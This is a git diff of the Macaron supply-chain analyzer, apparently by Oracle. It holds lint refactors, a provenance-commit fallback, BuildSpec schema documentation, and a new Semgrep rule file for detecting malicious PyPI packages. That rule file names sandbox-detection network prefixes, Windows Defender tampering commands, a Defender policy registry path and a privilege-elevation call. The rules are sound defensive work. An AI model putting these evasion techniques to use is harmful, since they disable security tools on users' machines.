import InTotoV01Statement from macaron.slsa_analyzer.provenance.intoto.v1 import InTotoV1Statement @@ -60,7 +60,7 @@ def extract_repo_and_commit_from_provenance(payload: InTotoPayload) -> tuple[str msg = ( f"Extraction from provenance not supported for versions: " - f"predicate_type {payload.statement.get('predicateType')}, in-toto {str(type(payload))}." + f"predicate_type {payload.statement.get('predicateType')}, in-toto {type(payload)!s}." ) logger.debug(msg) raise ProvenanceError(msg) @@ -260,8 +260,8 @@ def _extract_from_witness_provenance(payload: InTotoV01Payload) -> tuple[str | N continue if entry_type.startswith("https://witness.dev/attestations/git/"): commit = json_extract(entry, ["attestation", "commithash"], str) - elif entry_type.startswith("https://witness.dev/attestations/gitlab/") or entry_type.startswith( - "https://witness.dev/attestations/github/" + elif entry_type.startswith( + ("https://witness.dev/attestations/gitlab/", "https://witness.dev/attestations/github/") ): repo = json_extract(entry, ["attestation", "projecturl"], str) @@ -463,7 +463,7 @@ def get_build_invocation(self, statement: InTotoV01Statement | InTotoV1Statement repo = _clean_spdx(repo_uri) if repo is None: return gha_workflow, repo - invocation_url = f"{repo}/" f"actions/runs/{gh_run_id}" + invocation_url = f"{repo}/actions/runs/{gh_run_id}" return gha_workflow, invocation_url @@ -541,7 +541,7 @@ def get_build_invocation(self, statement: InTotoV01Statement | InTotoV1Statement repo = _clean_spdx(repo_uri) if repo is None: return gha_workflow, repo - invocation_url = f"{repo}/" f"actions/runs/{gh_run_id}" + invocation_url = f"{repo}/actions/runs/{gh_run_id}" return gha_workflow, invocation_url diff --git a/src/macaron/provenance/provenance_finder.py b/src/macaron/provenance/provenance_finder.py index e841fd397..e6808cb19 100644 --- a/src/macaron/provenance/provenance_finder.py +++ b/src/macaron/provenance/provenance_finder.py @@ -19,7 +19,7 @@ from macaron.repo_finder.repo_finder_deps_dev import DepsDevRepoFinder from macaron.repo_finder.repo_utils import get_repo_tags from macaron.slsa_analyzer.analyze_context import AnalyzeContext -from macaron.slsa_analyzer.checks.provenance_available_check import ProvenanceAvailableException +from macaron.slsa_analyzer.checks.provenance_available_check import ProvenanceAvailableError from macaron.slsa_analyzer.ci_service import GitHubActions from macaron.slsa_analyzer.ci_service.base_ci_service import NoneCIService from macaron.slsa_analyzer.package_registry import ( @@ -218,7 +218,7 @@ def find_gav_provenance(purl: PackageURL, registry: JFrogMavenRegistry) -> list[ Raises ------ - ProvenanceAvailableException + ProvenanceAvailableError If the discovered provenance file size exceeds the configured limit. """ if not registry.enabled: @@ -259,7 +259,7 @@ def find_gav_provenance(purl: PackageURL, registry: JFrogMavenRegistry) -> list[ "The check will not proceed due to potential security risks." ) logger.error(msg) - raise ProvenanceAvailableException(msg) + raise ProvenanceAvailableError(msg) provenances = [] witness_verifier_config = load_witness_verifier_config() diff --git a/src/macaron/provenance/provenance_verifier.py b/src/macaron/provenance/provenance_verifier.py index 2ab200b0b..396d929a5 100644 --- a/src/macaron/provenance/provenance_verifier.py +++ b/src/macaron/provenance/provenance_verifier.py @@ -8,7 +8,7 @@ import logging import os import shutil -import subprocess # nosec B404 +import subprocess import tarfile import zipfile from functools import partial @@ -132,7 +132,7 @@ def verify_npm_provenance(purl: PackageURL, provenance_assets: list[ProvenanceAs logger.debug("Signed and unsigned digests do not match.") return False - key = list(signed_digest.keys())[0] + key = next(iter(signed_digest.keys())) logger.debug( "Verified provenance against signed companion. Signed: %s, Unsigned: %s.", signed_digest[key][:7], @@ -150,9 +150,7 @@ def check_purls_equivalent(original_purl: PackageURL, new_purl: PackageURL) -> b or original_purl.namespace != new_purl.namespace ): return False - if original_purl.version and original_purl.version != new_purl.version: - return False - return True + return not (original_purl.version and original_purl.version != new_purl.version) def verify_ci_provenance(analyze_ctx: AnalyzeContext, ci_info: CIInfo, download_path: str) -> bool: @@ -289,14 +287,14 @@ def _validate_path_traversal(path: str) -> bool: if zipfile.is_zipfile(file_path): with zipfile.ZipFile(file_path, "r") as zip_file: members = (path for path in zip_file.namelist() if _validate_path_traversal(path)) - zip_file.extractall(temp_path, members=members) # nosec B202:tarfile_unsafe_members + zip_file.extractall(temp_path, members=members) # noqa: S202 return True elif tarfile.is_tarfile(file_path): with tarfile.open(file_path, mode="r:gz") as tar_file: members_tarinfo = ( tarinfo for tarinfo in tar_file.getmembers() if _validate_path_traversal(tarinfo.name) ) - tar_file.extractall(temp_path, members=members_tarinfo) # nosec B202:tarfile_unsafe_members + tar_file.extractall(temp_path, members=members_tarinfo) # noqa: S202 return True except (tarfile.TarError, zipfile.BadZipFile, zipfile.LargeZipFile, OSError, ValueError) as error: logger.info(error) @@ -349,7 +347,7 @@ def _verify_slsa(download_path: str, prov_asset: AssetLocator, asset_name: str, ] try: - verifier_output = subprocess.run( # nosec B603 + verifier_output = subprocess.run( # noqa: S603 cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, @@ -425,7 +423,7 @@ def determine_provenance_slsa_level( if predicate: build_type = ProvenancePredicate.get_build_type(provenance_payload.statement) - if build_type in {SLSAGithubGenericBuildDefinitionV01.expected_build_type} and verified_l3: + if build_type == SLSAGithubGenericBuildDefinitionV01.expected_build_type and verified_l3: # 3. Provenance is created by the SLSA GitHub generator and verified. return 3 diff --git a/src/macaron/repo_finder/__init__.py b/src/macaron/repo_finder/__init__.py index 6221b357c..4c9842545 100644 --- a/src/macaron/repo_finder/__init__.py +++ b/src/macaron/repo_finder/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This package contains the repository and commit finding tools for software components.""" @@ -23,4 +23,4 @@ def to_domain_from_known_purl_types(purl_type: str) -> str | None: The git service domain corresponding to the purl type or None if the purl type is unknown. """ known_types = {"github": "github.com", "bitbucket": "bitbucket.org"} - return known_types.get(purl_type, None) + return known_types.get(purl_type) diff --git a/src/macaron/repo_finder/commit_finder.py b/src/macaron/repo_finder/commit_finder.py index b7f306e03..83a4afad1 100644 --- a/src/macaron/repo_finder/commit_finder.py +++ b/src/macaron/repo_finder/commit_finder.py @@ -290,7 +290,7 @@ def find_commit_from_version_and_name(git_obj: Git, name: str, version: str) -> name, version, ) - return commit if commit else None, CommitFinderInfo.MATCHED + return commit or None, CommitFinderInfo.MATCHED def _split_name(name: str) -> list[str]: @@ -400,7 +400,7 @@ def _build_version_pattern(name: str, version: str) -> tuple[Pattern | None, lis if count == 1: this_version_pattern = this_version_pattern + INFIX_1 elif count > 1: - if multi_sep: + if multi_sep: # noqa: SIM108 # Allow for a change in separator type. this_version_pattern = this_version_pattern + INFIX_3 else: @@ -813,7 +813,7 @@ def _compute_tag_version_similarity( # Decrease score if there is a single suffix, and it matches the last version part. score = score - 0.5 - score = 0 if score < 0 else score + score = max(score, 0) if tag_suffix: # Slightly prefer matches with a release related suffix. diff --git a/src/macaron/repo_finder/repo_finder.py b/src/macaron/repo_finder/repo_finder.py index bf29730b8..15d7f3bde 100644 --- a/src/macaron/repo_finder/repo_finder.py +++ b/src/macaron/repo_finder/repo_finder.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """ @@ -311,7 +311,6 @@ def find_source(purl_string: str, input_repo: str | None, latest_version_fallbac if not digest: if latest_version_fallback and not checked_latest_purl: - # When not cloning the latest version must be checked here. if latest_version_purl := get_latest_purl_if_different(purl): if latest_repo := get_latest_repo_if_different(latest_version_purl, found_repo): @@ -419,6 +418,7 @@ def prepare_repo( digest: str = "", purl: PackageURL | None = None, latest_version_fallback: bool = True, + provenance_commit_digest: str | None = None, ) -> tuple[Git | None, CommitFinderInfo]: """Prepare the target repository for analysis. @@ -444,6 +444,8 @@ def prepare_repo( The PURL of the analysis target. latest_version_fallback: bool A flag that determines whether the latest version of the same artifact can be checked as a fallback option. + provenance_commit_digest: str | None + The commit extracted from the provenance. Returns ------- @@ -504,16 +506,20 @@ def prepare_repo( found_digest, commit_finder_outcome = find_commit(git_obj, purl) if not found_digest: logger.error("Could not map the input purl string to a specific commit in the corresponding repository.") - if not latest_version_fallback: - return None, commit_finder_outcome - # If the commit could not be found, check if the latest version of the artifact has a different repository. - latest_purl = get_latest_purl_if_different(purl) - if not latest_purl: - return None, commit_finder_outcome - latest_repo = get_latest_repo_if_different(latest_purl, repo_path) - if not latest_repo: - return None, commit_finder_outcome - return prepare_repo(latest_repo, latest_repo, target_dir, latest_version_fallback=False) + if provenance_commit_digest: + found_digest = provenance_commit_digest + commit_finder_outcome = CommitFinderInfo.PROVENANCE_USED + else: + if not latest_version_fallback: + return None, commit_finder_outcome + # If the commit could not be found, check if the latest version of the artifact has a different repository. + latest_purl = get_latest_purl_if_different(purl) + if not latest_purl: + return None, commit_finder_outcome + latest_repo = get_latest_repo_if_different(latest_purl, repo_path) + if not latest_repo: + return None, commit_finder_outcome + return prepare_repo(latest_repo, latest_repo, target_dir, latest_version_fallback=False) digest = found_digest diff --git a/src/macaron/repo_finder/repo_finder_enums.py b/src/macaron/repo_finder/repo_finder_enums.py index f1a256053..eaf062518 100644 --- a/src/macaron/repo_finder/repo_finder_enums.py +++ b/src/macaron/repo_finder/repo_finder_enums.py @@ -140,5 +140,8 @@ class CommitFinderInfo(Enum): #: Reported if a match was found. MATCHED = "Matched" + #: Commit is extracted from the provenance. + PROVENANCE_USED = "Provenance used" + #: Default state. Reported if the commit finder was not called. E.g. Because the Repo Finder failed. NOT_USED = "Not used" diff --git a/src/macaron/repo_finder/repo_finder_java.py b/src/macaron/repo_finder/repo_finder_java.py index 16889603d..3c614bfdf 100644 --- a/src/macaron/repo_finder/repo_finder_java.py +++ b/src/macaron/repo_finder/repo_finder_java.py @@ -6,7 +6,7 @@ import logging import re import urllib.parse -from xml.etree.ElementTree import Element # nosec B405 +from xml.etree.ElementTree import Element from packageurl import PackageURL @@ -240,7 +240,7 @@ def _find_scm(self, pom: Element, tags: list[str], resolve_properties: bool = Tr for tag in tags: element: Element | None = pom - if tag.startswith("properties."): + if tag.startswith("properties."): # noqa: SIM108 # Tags under properties are often "." separated. # These can be safely split into two resulting tags as nested tags are not allowed here. tag_parts = ["properties", tag[11:]] @@ -319,10 +319,7 @@ def _resolve_properties(self, pom: Element, values: list[str]) -> list[str]: # Calculate replacements - matches any number of ${...} entries in the current value. for match in re.finditer("\\$\\{[^}]+}", value): text = match.group().replace("$", "").replace("{", "").replace("}", "") - if text.startswith("project."): - text = text.replace("project.", "") - else: - text = f"properties.{text}" + text = text.replace("project.", "") if text.startswith("project.") else f"properties.{text}" # Call find_scm with property resolution flag as False to prevent the possibility of endless looping. result = self._find_scm(pom, [text], False) if not result: @@ -337,7 +334,7 @@ def _resolve_properties(self, pom: Element, values: list[str]) -> list[str]: # -> # git@github.com:owner/project1.8-2023.git for replacement in reversed(replacements): - value = f"{value[:replacement[0]]}{replacement[1]}{value[replacement[2]:]}" + value = f"{value[: replacement[0]]}{replacement[1]}{value[replacement[2] :]}" resolved_values.append(value) diff --git a/src/macaron/repo_finder/repo_utils.py b/src/macaron/repo_finder/repo_utils.py index 92fc243d5..e36a3df36 100644 --- a/src/macaron/repo_finder/repo_utils.py +++ b/src/macaron/repo_finder/repo_utils.py @@ -7,7 +7,7 @@ import logging import os import string -import subprocess # nosec B404 +import subprocess from urllib.parse import urlparse from packageurl import PackageURL @@ -125,10 +125,8 @@ def get_local_repos_path() -> str: If the directory does not exist, it is created. """ - local_repos_path = ( - global_config.local_repos_path - if global_config.local_repos_path - else os.path.join(global_config.output_path, GIT_REPOS_DIR, "local_repos") + local_repos_path = global_config.local_repos_path or os.path.join( + global_config.output_path, GIT_REPOS_DIR, "local_repos" ) if not os.path.exists(local_repos_path): os.makedirs(local_repos_path, exist_ok=True) @@ -173,10 +171,7 @@ def check_repo_urls_are_equivalent(repo_1: str, repo_2: str) -> bool: """ repo_url_1 = urlparse(repo_1) repo_url_2 = urlparse(repo_2) - if repo_url_1.hostname != repo_url_2.hostname or repo_url_1.path != repo_url_2.path: - return False - - return True + return not (repo_url_1.hostname != repo_url_2.hostname or repo_url_1.path != repo_url_2.path) def get_repo_tags(git_obj: Git) -> dict[str, str]: @@ -218,7 +213,7 @@ def get_repo_tags(git_obj: Git) -> dict[str, str]: logger.debug("") return {} try: - result = subprocess.run( # nosec B603 + result = subprocess.run( args=["git", "show-ref", "--tags", "-d"], capture_output=True, cwd=repository_path, diff --git a/src/macaron/repo_finder/repo_validator.py b/src/macaron/repo_finder/repo_validator.py index acaf5fec9..68985cbfe 100644 --- a/src/macaron/repo_finder/repo_validator.py +++ b/src/macaron/repo_finder/repo_validator.py @@ -30,7 +30,7 @@ def find_valid_repository_url(urls: Iterable[str]) -> str: # URLs that fail to parse can be rejected here. continue redirect_url = resolve_redirects(parsed_url) - checked_url = get_remote_vcs_url(redirect_url if redirect_url else parsed_url.geturl()) + checked_url = get_remote_vcs_url(redirect_url or parsed_url.geturl()) if checked_url: return checked_url diff --git a/src/macaron/repo_verifier/repo_verifier_base.py b/src/macaron/repo_verifier/repo_verifier_base.py index dffa61141..b2fb95576 100644 --- a/src/macaron/repo_verifier/repo_verifier_base.py +++ b/src/macaron/repo_verifier/repo_verifier_base.py @@ -6,14 +6,14 @@ import abc import logging from dataclasses import dataclass -from enum import Enum +from enum import StrEnum from macaron.slsa_analyzer.build_tool import BaseBuildTool logger = logging.getLogger(__name__) -class RepositoryVerificationStatus(str, Enum): +class RepositoryVerificationStatus(StrEnum): """A class to store the status of the repo verification.""" #: We found evidence to prove that the repository can be linked back to the publisher of the artifact. diff --git a/src/macaron/resources/pypi_malware_rules/anti_analysis.yaml b/src/macaron/resources/pypi_malware_rules/anti_analysis.yaml new file mode 100644 index 000000000..f199776ab --- /dev/null +++ b/src/macaron/resources/pypi_malware_rules/anti_analysis.yaml @@ -0,0 +1,68 @@ +# Copyright (c) 2026 - 2026, Oracle and/or its affiliates. All rights reserved. +# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. + +rules: +- id: anti_analysis-known-ouis + metadata: + description: Searches for packages that check the OUI of the machine against known virtualisation software commonly used for sandboxing/debugging + message: Found reference to an OUI known to be associated with common virtualisation software for sandboxing/debugging + languages: + - python + severity: ERROR + pattern-either: # format usually either has no delimiter, or uses ":", ".", or "-" + # VMware virtualisation associated OUIs + - pattern-regex: (?i)00[\.:-]?0C[\.:-]?29[\.:-]?\w\w[\.:-]?\w\w[\.:-]?\w\w + - pattern-regex: 00[\.:-]?50[\.:-]?56[\.:-]?\w\w[\.:-]?\w\w[\.:-]?\w\w + # Virtualbox virtualisation associated OUIs + - pattern-regex: 08[\.:-]?00[\.:-]?27[\.:-]?\w\w[\.:-]?\w\w[\.:-]?\w\w # Oracle Virtualbox + - pattern-regex: 52[\.:-]?54[\.:-]?00[\.:-]?\w\w[\.:-]?\w\w[\.:-]?\w\w # Oracle Virtualbox/Vagrant + # Microsoft virtualisation associated OUIs + - pattern-regex: (?i)00[\.:-]?15[\.:-]?5D[\.:-]?\w\w[\.:-]?\w\w[\.:-]?\w\w # Hyper-V Virtual Machines + +- id: anti_analysis-defender-evasion + metadata: + description: Looks for commands and/or names of services or accounts used by Windows Defender that may be used to evade it + message: Found reference to Windows Defender services, commands, or names/accounts + languages: + - python + severity: ERROR + pattern-either: + # Windows Defender Application Guard (WDAG) system account name + - pattern-regex: WDAGUtilityAccount + # PowerShell commands + - pattern-regex: Add-MpPreference # modifies defender settings + - pattern-regex: Remove-MpPreference # removes default actions/exclusions + - pattern-regex: Set-MpPreference # modifies defender settings + # - pattern-regex: Set-MpPreference # modifies scans and updates + - pattern-regex: Get-MpComputerStatus # gets status of Defender + - pattern-regex: Remove-MpThreat # remove active threats (potentially yourself) + # Switches in MpCmdRun.exe + - pattern-regex: -RemoveDefinitions + - pattern-regex: -RemoveDynamicSignature + # usually HKLM\Software\Policies\Microsoft\Windows Defender or HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender + # Some key values under these like HideExclusionsFromLocalAdmins, DisableAntiSpyware, DisableAntivirus + # typically modified with the winreg package + - pattern-regex: (?i)Software.+Policies.+Microsoft.+Windows.*Defender + # Common Information Model (CIM) classes + - pattern-regex: MSFT_MpPreference # change things about defender + - pattern-regex: AntiVirusProduct # get information about AVs on the system + # Windows Management Instrumentation (WMI) + # Many of these operations require admin privileges, which can be requested by: + - pattern: ctypes.windll.shell32.ShellExecuteW(..., 'runas', ...) + +# NOTE: Currently not yet suitable, need more strict that just detecting the URL, so this is disabled in Macaron. +- id: anti_analysis-ip-checkers + metadata: + description: Matches against common services used to check your current IP and other system information + message: Found use of a common IP-checker service + languages: + - python + severity: ERROR + pattern-either: + - pattern-regex: api\.ipify\.org + - pattern-regex: ip-api\.com + - pattern-regex: geolocation-db\.com/jsonp + - pattern-regex: ip\.wtf + - pattern-regex: ifconfig\.me + - pattern-regex: geolocation\.com + - pattern-regex: checkip\.amazonaws\.com diff --git a/src/macaron/resources/schemas/macaron_buildspec_schema.json b/src/macaron/resources/schemas/macaron_buildspec_schema.json index d2e7f1255..9aacb6909 100644 --- a/src/macaron/resources/schemas/macaron_buildspec_schema.json +++ b/src/macaron/resources/schemas/macaron_buildspec_schema.json @@ -111,9 +111,18 @@ "description": "Entry point script, class, or binary for running the project." }, "build_requires": { - "type": "object", - "additionalProperties": { "type": "string" }, - "description": "Required packages that must be available in the build environment." + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { "type": "string" }, + "version": { "type": "string" }, + "installer": { "type": "string" } + }, + "required": ["name", "installer"], + "additionalProperties": false + }, + "description": "Build environment requirements, including the installer and version constraint for each requirement." }, "build_backends": { "type": "array", diff --git a/src/macaron/resources/schemas/macaron_buildspec_schema.md b/src/macaron/resources/schemas/macaron_buildspec_schema.md new file mode 100644 index 000000000..ad450568e --- /dev/null +++ b/src/macaron/resources/schemas/macaron_buildspec_schema.md @@ -0,0 +1,201 @@ +# Macaron BuildSpec Schema Notes + +This file documents the semantics of `macaron_buildspec_schema.json`. It is kept next to the JSON Schema because JSON does not support comments. + +The BuildSpec is Macaron's common build description. It records the package identity, source repository, detected build environment, and one or more candidate build commands. The implementation that defines the shared field contract lives primarily in `src/macaron/build_spec_generator/common_spec/base_spec.py`; the ecosystem-specific implementations under the same package populate and refine those fields. + +The integration cases in `tests/integration/cases/pypi_toga/test.yaml` and `tests/integration/cases/org_apache_hugegraph/computer-k8s/test.yaml` compare generated BuildSpecs against `expected_default.buildspec` and validate those outputs with `macaron_buildspec_schema.json`. Those fixtures are useful examples of the schema in practice. + +## Top-Level Fields + +| Field | Required by schema | Meaning | +| --- | --- | --- | +| `ecosystem` | Yes | Package ecosystem, such as `maven` or `pypi`. This is derived from the PURL type and selects the ecosystem-specific BuildSpec resolver. | +| `purl` | Yes | Package URL for the target component. | +| `language` | Yes | Main implementation language inferred for the ecosystem, for example `java` for Maven or `python` for PyPI. | +| `build_tools` | Yes | Build tools or package managers detected for the repository. For generated specs, Macaron currently recognizes tools such as `maven`, `gradle`, `pip`, `poetry`, `uv`, `flit`, `hatch`, `maturin`, and `conda`, though not every tool has an ecosystem-specific default command. | +| `macaron_version` | Yes | Version of Macaron that generated the spec. | +| `group_id` | No | Ecosystem-specific group or namespace. For Maven this is the Maven group ID. For PyPI this is usually `null`. | +| `artifact_id` | Yes | Package or artifact name. | +| `version` | Yes | Package or artifact version. | +| `git_repo` | No | Remote repository URL or path that Macaron associated with the package. | +| `git_tag` | No | Source revision used for rebuilds. Despite the field name, this may be a commit SHA rather than a tag. | +| `newline` | No | Expected line ending style, such as `lf` or `crlf`. | +| `language_version` | Yes | Runtime or language version constraints. Examples include a normalized JDK major version for Maven builds or Python version constraints for PyPI builds. Multiple values may appear when Macaron infers constraints from more than one source, such as package metadata and build dependencies. | +| `dependencies` | No | Runtime or release dependencies, when known. | +| `build_dependencies` | No | Build-time dependencies, including dependencies needed for tests, when known. | +| `build_commands` | No | Candidate commands and their metadata. See the detailed section below. | +| `test_commands` | No | Test commands, represented as tokenized command arrays. | +| `environment` | No | Environment variables needed by the build or test steps. Values are strings. | +| `artifact_path` | No | Expected output artifact path or location, if known. | +| `entry_point` | No | Script, class, binary, or other entry point for running the project, if known. | +| `build_requires` | No | Build environment requirements as an array of requirement entries. Each entry identifies the requirement, its installer, and its version constraint.| +| `build_backends` | No | Build backends used by a frontend build tool. For PyPI, this can include values such as `setuptools.build_meta`; these correspond to the backend that tools such as `pip` or `python -m build` call to create a wheel. | +| `has_binaries` | No | Whether the package artifact includes non-pure binaries. Maturin-backed binary packages have dedicated Dockerfile generation support; other non-pure Python packages remain unsupported by that output format. | +| `upstream_artifacts` | No | Upstream artifacts analyzed while generating the spec, grouped by artifact kind. For example, PyPI may record wheel and sdist URLs; downstream rebuild formats can use the wheel URL to compare the rebuilt artifact with the published artifact. | + +## `build_commands` + +`build_commands` is an array of build command entries. Each entry combines a command with the build tool detection that justifies using it. + +The entries are not only shell snippets. They also carry supporting context about the configuration file, detected tool version, and confidence score. This lets downstream generators decide whether a command is appropriate for another format, such as a Dockerfile or Reproducible Central buildspec. + +### Entry Fields + +| Field | Required by schema | Meaning | +| --- | --- | --- | +| `build_tool` | Yes | The build tool the entry applies to, for example `maven`, `gradle`, `pip`, `poetry`, `uv`, `flit`, `hatch`, or `maturin`. It should match one of the values in the top-level `build_tools` list. | +| `build_tool_version` | No | Detected build tool version, when Macaron can infer one. The schema allows this to be `null`, but generated specs omit the field when the version is unknown. | +| `build_config_path` | Yes | Path to the build configuration file associated with this command, relative to the repository root. Examples: `pom.xml`, `submodule/pom.xml`, `build.gradle`, `pyproject.toml`. | +| `root_build_config_path` | No | Optional path to a root or entry build configuration for multi-module builds, relative to the repository root. Maven and Gradle detection can use this when the artifact-specific config is in a module but the build should be launched from a higher-level config. | +| `command` | Yes | The build command as a tokenized argument list, not as one shell string. For example, use `["mvn", "clean", "package"]`, not `["mvn clean package"]`. An empty list is meaningful during generation and means Macaron detected the tool/configuration but did not find a concrete command before ecosystem defaults were applied. | +| `confidence_score` | Yes | Confidence in the build tool/configuration detection. Detection code treats this as a value in the range `[0, 1]`, with `1.0` being highest confidence. When multiple configs are found for the same tool, the generator keeps the highest-confidence detection for that tool. | + +### Command Semantics + +The `command` field is a list of command-line tokens. The first token is normally the executable or wrapper, and later tokens are its arguments. This representation avoids ambiguity around quoting and lets Macaron patch or adapt commands before emitting a downstream format. + +Examples: + +```json +["mvn", "clean", "package"] +``` + +```json +["./gradlew", "clean", "assemble", "publishToMavenLocal"] +``` + +```json +["python", "-m", "build", "--wheel", "-n"] +``` + +Do not store a whole command line as a single string unless the intended executable name itself contains spaces. Downstream code expects tokenized commands and may join tokens with spaces when producing a shell-oriented format. + +### Empty Commands and Defaults + +During generation, Macaron first tries to recover concrete build commands from analysis results in the database. If it cannot find a command, it still creates `build_commands` entries for the detected build tools with `command: []`. Ecosystem-specific resolvers then fill in defaults when they know a safe default for the tool. + +Current defaults include: + +| Ecosystem | Tool | Default command | +| --- | --- | --- | +| Maven | `maven` | `["mvn", "clean", "package"]` | +| Maven | `gradle` | `["./gradlew", "clean", "assemble", "publishToMavenLocal"]` | +| PyPI | `pip` | `["python", "-m", "build", "--wheel", "-n"]` | +| PyPI | `poetry` | `["poetry", "build"]` | +| PyPI | `uv` | `["uv", "build"]` | +| PyPI | `flit` | `["flit", "build"]` | +| PyPI | `hatch` | `["hatch", "build"]` | +| PyPI | `maturin` | `["maturin", "build", "--release"]` | + +For PyPI packages with non-pure binary artifacts, the PyPI resolver currently sets `build_commands` to an empty array instead of emitting a rebuild command. + +In the `pypi_toga` integration fixture, Macaron detects `pip` through `pyproject.toml` with confidence `1.0` and emits this default command: + +```json +["python", "-m", "build", "--wheel", "-n"] +``` + +The command means "build only a wheel and do not install build dependencies in an isolated environment." The companion `build_requires` field records the build dependencies Macaron inferred separately, and the Dockerfile generator installs those dependencies before running the command. + +### Maven and Gradle Command Patching + +For Maven ecosystem specs, Macaron patches detected Maven and Gradle commands after defaults have been applied. This normalization is intended to make rebuild commands more reproducible and less dependent on CI-only settings. + +Examples of Maven normalization include preferring `clean package`, removing some CI-oriented flags, skipping tests and documentation-related work, and dropping secret-bearing properties such as a GPG passphrase. Examples of Gradle normalization include preferring `clean assemble`, using a plain console, excluding tests, and setting signing-related skip properties. + +If a command cannot be parsed as a supported Maven or Gradle command, Macaron leaves it as the original token list. + +### Multiple Build Commands + +`build_commands` may contain more than one entry. This can happen when analysis finds multiple concrete build commands or when multiple build tools are detected. Downstream formats may combine commands. For example, the Reproducible Central adapter converts tokenized commands into shell strings and joins multiple non-empty commands with `&&`. + +Ordering should therefore be treated as significant: earlier commands are the commands Macaron selected first from its analysis results. + +## Example + +This abbreviated example follows the same shape as the validated `pypi_toga` integration BuildSpec: + +```json +{ + "ecosystem": "pypi", + "purl": "pkg:pypi/toga@0.5.1", + "language": "python", + "build_tools": ["pip"], + "macaron_version": "0.22.0", + "group_id": null, + "artifact_id": "toga", + "version": "0.5.1", + "git_repo": "https://github.com/beeware/toga", + "git_tag": "ef1912b0a1b5c07793f9aa372409f5b9d36f2604", + "newline": "lf", + "language_version": [">=3.8", ">=3.9"], + "build_commands": [ + { + "build_tool": "pip", + "build_config_path": "pyproject.toml", + "command": ["python", "-m", "build", "--wheel", "-n"], + "confidence_score": 1.0 + } + ], + "has_binaries": false, + "build_requires": [ + { + "name": "setuptools", + "version": "==80.3.1", + "installer": "pip" + }, + { + "name": "setuptools_dynamic_dependencies", + "version": "==1.0.0", + "installer": "pip" + }, + { + "name": "setuptools_scm", + "version": "==8.3.1", + "installer": "pip" + } + ], + "build_backends": ["setuptools.build_meta"], + "upstream_artifacts": { + "wheels": ["https://files.pythonhosted.org/.../toga-0.5.1-py3-none-any.whl"], + "sdist": ["https://files.pythonhosted.org/.../toga-0.5.1.tar.gz"] + } +} +``` + +This Maven example follows the validated `org_apache_hugegraph/computer-k8s` integration BuildSpec and illustrates an artifact-specific module config with a root build config: + +```json +{ + "ecosystem": "maven", + "purl": "pkg:maven/org.apache.hugegraph/computer-k8s@1.0.0", + "language": "java", + "build_tools": ["maven"], + "macaron_version": "0.22.0", + "group_id": "org.apache.hugegraph", + "artifact_id": "computer-k8s", + "version": "1.0.0", + "git_repo": "https://github.com/apache/hugegraph-computer", + "git_tag": "d2b95262091d6572cc12dcda57d89f9cd44ac88b", + "newline": "lf", + "language_version": ["11"], + "build_commands": [ + { + "build_tool": "maven", + "build_config_path": "computer-k8s/pom.xml", + "root_build_config_path": "pom.xml", + "command": [ + "mvn", + "-DskipTests=true", + "-Dmaven.site.skip=true", + "-Drat.skip=true", + "-Dmaven.javadoc.skip=true", + "clean", + "package" + ], + "confidence_score": 1.0 + } + ] +} +``` diff --git a/src/macaron/slsa_analyzer/analyze_context.py b/src/macaron/slsa_analyzer/analyze_context.py index 93a3f48ba..79dbedf29 100644 --- a/src/macaron/slsa_analyzer/analyze_context.py +++ b/src/macaron/slsa_analyzer/analyze_context.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the Analyze Context class. @@ -348,7 +348,7 @@ def store_inferred_build_info_results( predicate["buildType"] = f"Custom {ci_service.name}" predicate["builder"]["id"] = trigger_link predicate["invocation"]["configSource"]["uri"] = ( - f"{ctx.component.repository.remote_path}" f"@refs/heads/{ctx.component.repository.branch_name}" + f"{ctx.component.repository.remote_path}@refs/heads/{ctx.component.repository.branch_name}" ) predicate["invocation"]["configSource"]["digest"]["sha1"] = ctx.component.repository.commit_sha predicate["invocation"]["configSource"]["entryPoint"] = trigger_link diff --git a/src/macaron/slsa_analyzer/analyzer.py b/src/macaron/slsa_analyzer/analyzer.py index 008a2fce9..6f73bb33d 100644 --- a/src/macaron/slsa_analyzer/analyzer.py +++ b/src/macaron/slsa_analyzer/analyzer.py @@ -10,7 +10,7 @@ import sys import tempfile from collections.abc import Mapping -from datetime import datetime, timezone +from datetime import UTC, datetime from pathlib import Path from typing import NamedTuple @@ -70,7 +70,7 @@ from macaron.slsa_analyzer.build_tool import BUILD_TOOLS # To load all checks into the registry -from macaron.slsa_analyzer.checks import * # pylint: disable=wildcard-import,unused-wildcard-import # noqa: F401,F403 +from macaron.slsa_analyzer.checks import * # pylint: disable=wildcard-import,unused-wildcard-import # noqa: F403 from macaron.slsa_analyzer.ci_service import CI_SERVICES from macaron.slsa_analyzer.database_store import store_analyze_context_to_db from macaron.slsa_analyzer.git_service import GIT_SERVICES, BaseGitService, GitHub @@ -195,7 +195,7 @@ def run( # Note that the changes will be committed to the DB when the # current Session context terminates. analysis = Analysis( - analysis_time=datetime.now(tz=timezone.utc), + analysis_time=datetime.now(tz=UTC), macaron_version=__version__, ) @@ -279,9 +279,8 @@ def run( dup_record.context = find_ctx for record in report.get_records(): - if not record.status == SCMStatus.DUPLICATED_SCM: - if record.context: - store_analyze_context_to_db(record.context) + if record.status != SCMStatus.DUPLICATED_SCM and record.context: + store_analyze_context_to_db(record.context) # Store dependency relations. for parent, child in report.get_dependencies(): @@ -421,7 +420,6 @@ def run_single( available_domains, parsed_purl, provenance_repo_url, - provenance_commit_digest, package_registries_info, ) except InvalidAnalysisTargetError as error: @@ -454,6 +452,7 @@ def run_single( analysis_target.branch, analysis_target.digest, 